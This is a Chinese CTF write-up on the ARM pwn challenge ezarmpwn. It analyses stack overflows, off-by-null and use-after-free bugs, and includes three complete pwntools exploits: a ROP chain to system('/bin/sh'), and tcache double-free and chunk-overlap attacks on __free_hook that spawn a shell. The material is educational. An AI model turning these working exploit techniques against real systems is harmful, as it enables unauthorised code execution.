文章首发于安全客 https://www.anquanke.com/post/id/224972
前言
打了安恒举办的西湖论剑比赛,题目都是跑在一个开发板上的,通过数据线连接开发板的otg接口能访问题目环境。pwn题目一共有三道,其中有一道题目因为逻辑上的问题导致能比较简单的获得flag,另外一道题目是boa服务器在处理http认证过程中,发生栈溢出。我们这里分析的是这次比赛的第三道pwn题ezarmpwn。
题目分析
通过file和checksec能够知道程序为32位的arm小端程序,开启NX保护,没有PIE和canary保护。
主办方给出的libc为2.30,把libc解压的文件夹和题目放在同一个目录,使用qemu-arm -L ./ ./pwn3
执行程序,能看到首先要求输入用户名和密码,之后进入到菜单选项。
play选项有两个子功能,add和delete,能分配chunk和释放chunk;私人信息是输出用户名和密码的内容;修改密码输入字符串修改原始的密码;选项4会退出程序,从功能上看是一道典型的libc菜单题。
漏洞分析
这道题的漏洞非常多,有一些漏洞很有干扰性。首先用户名和密码都是固定长度的buffer,大小如下:
栈溢出1
密码和用户名被带进注册函数中,这里输入的用户名直接通过scanf进入src没有任何限制,直接溢出。
off by null
在栈溢出下方有一个off by null的漏洞,如果我们在输入的密码中没有\n
就会持续移动指针,最后在有\n
的地方赋值为0,不过这个漏洞太难利用非常鸡肋。
UAF
在play的选项中的结构为下方所示:
1 2 3 4
| struct { int size; char* content; }
|
最后在delete操作中没有对指针置空,存在UAF漏洞,不过这里的结构体是在事先分配好的空间中,所以这个UAF利用难度较大,我能想到的是利用double free,但是在libc 2.30的情况下,利用难度很大。
栈溢出2
我们知道密码的buffer长度为40,这里strncpy直接复制了0x48(72)长度的字符串,直接溢出。
以上就是能够观察到的漏洞了,虽然我们有两个非常有用的栈溢出漏洞,但是我们需要泄露出libc地址,才能继续完成利用,不管是进行ROP还是利用UAF向__free_hook
写地址都是需要libc地址的,所以拿到libc地址成为了我们的首要目标。
漏洞利用
最开始,我的想法是直接利用第一个栈溢出漏洞进行ROP,也找到了一些gadget,最后发现此路不通,程序本身的gadget十分少再加上程序的函数got地址都带有0x20
,这个字符在scanf的时候回产生截断,导致rop失败。所以没有办法像x86那样用puts等泄露函数输出函数地址来计算得到libc地址。
那么另外一个栈溢出漏洞又如何呢?分析之后发现只能控制PC,没有足够的溢出长度来完成ROP。于是在比赛的时候,我就陷入了绝望,有没有什么方法可以获取到libc呢?在参考了pzhxbz
师傅的exp之后恍然大悟,原来可以在栈上找libc地址通过strncpy连带着拷贝到password的buffer中,随后利用输出信息功能泄露字符串获得libc地址。看来以后在出现了输出功能的地方都要留个心眼,看看能不能有方法输出栈上的libc地址信息。
leak libc
在read到临时buffer栈空间中,可以看到有libc相关的函数地址,所以只要我们填充40字节的数据,在执行strncpy的时候就会连带着这个地址一起进入paasword中。
查看完成strncpy之后的的password,可以看到已经把后面的libc地址一起连带复制进buffer中。
我们调用输出信息的功能就可以看到泄露出的libc地址。
减去libc的基地址成功获得相对于libc的偏移。
1 2 3 4 5
| change('a'*40) info() io.recvuntil('a'*40) libc_addr = u32(io.recv(4)) - 0x32248 print('libc_addr: ' + hex(libc_addr))
|
control pc and rop
有了libc地址之后,这下就非常容易了,利用第二个栈溢出漏洞控制PC到最开始的地方触发第一个栈溢出漏洞完成rop。这里rop的思路是利用libc地址得到system和/bin/sh,使用gadget执行system函数。
1 2 3 4 5
|
change(b'a'*64 + p32(0x10e70)) io.sendlineafter('choice > ', '4') payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)
|
这里还需要注意的一点是,我们溢出的部分覆盖了password的buffer,因此在输入密码的时候必须控制输入的内容,让字符串复制之后的rop chain依旧可以运行。在libc中找到如下的gadget:
虽然最后一个字节有差异但指令却是相同的,这样我们输入空密码最终在字符串复制时也只会复制一个空字节,对我们的rop chain将不会有任何影响。
我在测试的时候有很多坏字符的干扰,比如0x0a
和0x20
,比较难受的是system函数的地址中恰好带有0x20
所以整个exp在本地是没有办法复现的,只能在开发板上能成功。
UAF
在完成泄露libc地址之后,也可以不使用上面的栈溢出攻击方法,转而利用uaf漏洞完成堆利用的攻击。这里有两个利用思路,一个是很容易想到的double free,另外一个是构造出chunk overlap。
因为有tcache,要构造double free需要先把tcache填满,然后使用之前free一个再free另外一个最后再次free第一次free的chunk。
1 2 3 4 5 6 7 8 9
| for i in range(10): add(i,0x30,'/bin/sh\x00')
for i in range(7): dele(i)
dele(7) dele(8) dele(7)
|
在有tcache的情况下会优先分配tcache中的chunk,所以再把tcache链表中的7个chunk全部分配,在这之后申请的第一个chunk修改它的指针让其指向我们想写入的地址__free_hook
,再分配三次,第三次写入system地址到__free_hook
中,最后随便free一个内容为/bin/sh\x00
的chunk即可getshell。
1 2 3 4 5 6 7 8 9 10 11
| for i in range(7): add(20+i,0x30,'/bin/sh\x00')
add(30,0x30,p32(libc+e.symbols['__free_hook'])) print(hex(libc+e.symbols['__free_hook'])) add(31,0x30,'test') add(32,0x30,'test') add(34,0x30,p32(libc+e.symbols['system'])) add(11,10,'/bin/sh\x00')
dele(11)
|
另外一个思路是构造出chunk overlap,申请两个较大的chunk,释放之后申请一个更大的chunk,使得之前较小的两个chunk合并,这样新申请的大chunk能够修改到其中一个小chunk的header。把header改成tcache的范围,free这个chunk,让它进入tcache中,这个时候重复释放和分配大chunk就能修改tcache的指针,剩下来的操作和上面的相同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| for i in range(9): add(i,0x40,"aaaa\n") add(15,6,"a\n") add(14,6,"a\n") delete(15) delete(14) for i in range(9): delete(8-i) free_hook = libc + 0x1479cc system = libc + 0x3a028 add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") delete(1) delete(9) add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n") add(11,8,"/bin/sh\x00") add(12,8,p32(libc+0x3a028)+"\n")
delete(11) p.interactive()
|
最终exp
这是栈溢出的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import *
elf = ELF('./pwn3') libc = ELF('./lib/libc-2.30.so') context.arch= 'arm'
if args['D']: context.log_level = 'debug'
if args['R']: io = remote('') else: io = process(['qemu-arm', '-g', '1234', '-L', './', './pwn3'])
def add(my_id, size, content): io.sendlineafter('choice > ', '1') io.sendlineafter('choice > ', '1') io.sendlineafter('index: ', str(my_id)) io.sendlineafter('size: ', str(size)) io.sendafter('content: ', content)
def delete(my_id): io.sendlineafter('choice > ', '1') io.sendlineafter('choice > ', '2') io.sendlineafter('index: ', str(my_id))
def info(): io.sendlineafter('choice > ', '2')
def change(content): io.sendlineafter('choice > ', '3') io.sendafter('Please Input new password:', content) io.sendlineafter('continue', '')
pause()
io.sendlineafter('Please registered account \nInput your username:', 'xxxx') io.sendlineafter('Please input password:', '2333') io.sendlineafter('Please input password again:', '2333') io.sendlineafter('continue ...', '')
''' 0x10f58 mov r0, r7; blx r3; 0x10a90 mov r0, r3; pop {fp, pc}; 0x105c8 : pop {r3, pc} 0x10784 : pop {r4, pc} ''' pause() change('a'*40) info()
io.recvuntil('a'*40) libc_addr = u32(io.recv(4)) - 0x32248 print('libc_addr: ' + hex(libc_addr))
change(b'a'*64 + p32(0x10e70))
io.sendlineafter('choice > ', '4')
bin_sh = libc_addr + 1212228 system = libc_addr + 237608 payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)
io.sendlineafter('username:', payload) io.sendlineafter('password:', '') pause() io.sendlineafter('again:', '')
io.sendlineafter('continue', '')
io.interactive()
|
这是利用uaf的两个exp,第一个为double free,第二个为chunk overlap。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
e=ELF('../lib/libc-2.30.so')
p=remote("20.20.11.14",9999)
p.sendlineafter('username:','yzloser') p.sendlineafter('password:','yzloser') p.sendlineafter('again:','yzloser') p.sendlineafter('continue','') p.sendlineafter('choice','3') p.sendlineafter('password:','A'*0x27) p.sendlineafter('continue','') p.sendlineafter('choice','2') p.recvuntil(b'A'*0x27+b'\n')
libc=u32(p.recv(4))-205384
def add(idx,siz,s): p.sendlineafter('choice','1') p.sendlineafter('choice','1') p.sendlineafter('index',str(idx)) p.sendlineafter('size',str(siz)) p.sendlineafter('content',s)
def dele(idx): p.sendlineafter('choice','1') p.sendlineafter('choice','2') p.sendlineafter('index',str(idx))
print(hex(libc))
for i in range(10): add(i,0x30,'/bin/sh\x00')
for i in range(7): dele(i)
dele(7) dele(8) dele(7)
for i in range(7): add(20+i,0x30,'/bin/sh\x00')
add(30,0x30,p32(libc+e.symbols['__free_hook'])) print(hex(libc+e.symbols['__free_hook'])) add(31,0x30,'test') add(32,0x30,'test') add(34,0x30,p32(libc+e.symbols['system'])) add(11,10,'/bin/sh\x00')
dele(11)
p.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import *
context.log_level="debug" def info(): p.sendlineafter("> ","2")
def play(): p.sendlineafter("> ","1")
def add(index,size,note): play() p.sendlineafter("> ","1") p.sendafter(": ",str(index)) p.sendlineafter(": ",str(size)) p.sendafter(": ",note)
def delete(index): play() p.sendlineafter("> ","2") p.sendlineafter(": ",str(index)) p=process(["qemu-arm","-g","1234","-L",".","./pwn3"])
un="aaaaa" pd1="bbbbb" pd2="bbbbb" p.sendlineafter(":",un) p.sendlineafter(":",pd1) p.sendlineafter(":",pd2) p.sendline("")
p.sendlineafter("> ","3") p.sendlineafter(":","a"*0x20) p.sendline("")
info() p.recvuntil(": ") libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248
for i in range(9): add(i,0x40,"aaaa\n") add(15,6,"a\n") add(14,6,"a\n") delete(15) delete(14) for i in range(9): delete(8-i) free_hook = libc + 0x1479cc system = libc + 0x3a028 add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") delete(1) delete(9) add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n") add(11,8,"/bin/sh\x00") add(12,8,p32(libc+0x3a028)+"\n")
delete(11) p.interactive()
|
总结
这道arm的题目赛后发现也不难,关键还是在比赛的时候没有能够熟练的分析。在堆分析中有一个很重要的一点,在用gdb插件调试的时候,加载没有调试符号的libc无法使用bins,chunks等命令。这时,只能自己手动在内存中查找这些数据,比如tcache的管理结构是在heap最开始的地方,而bins则在main_arena上。